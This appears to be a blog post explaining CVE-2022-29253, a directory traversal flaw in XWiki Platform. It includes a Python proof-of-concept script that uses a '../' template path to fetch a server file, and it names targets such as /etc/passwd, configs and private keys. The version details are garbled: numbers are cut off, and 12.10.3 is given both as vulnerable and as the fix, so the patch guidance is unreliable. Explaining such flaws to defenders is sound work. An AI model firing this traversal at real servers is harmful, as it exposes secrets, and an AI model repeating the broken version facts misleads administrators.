XWiki Platform is a popular open-source wiki solution used by organizations around the world. It lets you build collaborative knowledge bases and applications on top of a flexible core. Unfortunately, versions from 8.3-rc-1 up to 12.10.3 and also before 14. (including most of the 13.x series), contained a dangerous vulnerability: CVE-2022-29253. This bug allowed attackers to read files on the server’s file system well outside the intended web root directory, potentially exposing secrets or internal files.

In this post, we’ll break down what the vulnerability is, how it works, and even show you a sample exploit. All content here is original, presented in clear, simple language.

What is CVE-2022-29253?

CVE-2022-29253 is a directory traversal vulnerability in the XWiki Platform’s template API. XWiki’s templates can be invoked with a specific path, and the application didn’t properly sanitize those paths. Attackers could use this to request arbitrary files from the Java classloader, even files outside the XWiki app itself.

Directory traversal usually happens when a web application combines user-supplied input with file system paths, without proper filtering. The infamous ../ (dot-dot-slash) pattern can let a user step up to parent directories and access restricted files.

All 14.x _prior to_ 14.

If you’re running any of these versions, your XWiki is vulnerable unless patched.

How Does the Vulnerability Work?

The problem sits in the way XWiki’s template-rendering endpoint accepts and processes template file paths. When you send a request for a template, the platform looks for the file in the classloader’s search paths. But, without sanitizing the path, an attacker can include ../ to wander outside the normal template directory and access sensitive internal files.

Here’s a conceptual breakdown

1. Template Request: An HTTP GET (or POST) request is made for /templates/<PATH>, where <PATH> could include ../ to jump up directories.
2. Path Traversal: If the app doesn’t filter out or block .., you might access files deep in the system, as long as the Java process can read them.

Proof of Concept (PoC) Exploit

Below is a basic Python script to test if your XWiki install is vulnerable. It tries to fetch the MANIFEST.MF file from the Java library—a classic test for directory traversal bugs:

import requests

# Change this to your XWiki base URL
base_url = "http://your-xwiki.example.com";

# Try to fetch the manifest file using directory traversal
payload = "/templates/../META-INF/MANIFEST.MF"

url = base_url + payload

headers = {
    "User-Agent": "Mozilla/5.",
}

response = requests.get(url, headers=headers)

if response.status_code == 200 and "Manifest-Version" in response.text:
    print("[!] Vulnerable! Retrieved manifest file:")
    print(response.text)
else:
    print("[*] Not vulnerable or file not present.")

What’s happening:
- The /templates/../META-INF/MANIFEST.MF path steps out of the templates directory to grab the Java manifest file.

Attackers could use this bug to

- Read environment files, configs, or parameters (/etc/passwd, property files, database configs, private keys, etc.).

How to Fix (Patch & Prevention)

There’s no easy workaround. Changing permissions or firewalls won’t block this type of attack effectively if the endpoint is accessible.

If you’re still in the 12.x era, upgrade to at least 12.10.3

Download official patches and releases here:  
🔗 XWiki Downloads

References

- CVE record on GitHub
- XWiki Security Advisory
- OSS Security Mailing List Disclosure
- XWiki Official Site

Conclusion

CVE-2022-29253 underlines how small mistakes in path handling can have big security consequences. If you’re running XWiki, check your version and update fast to protect your data. For administrators, always review changelogs and subscribe to security mailing lists. For developers, sanitize every file path that users can touch—never trust unchecked input.

Timeline

Published on: 05/25/2022 21:15:00 UTC
Last modified on: 06/07/2022 19:48:00 UTC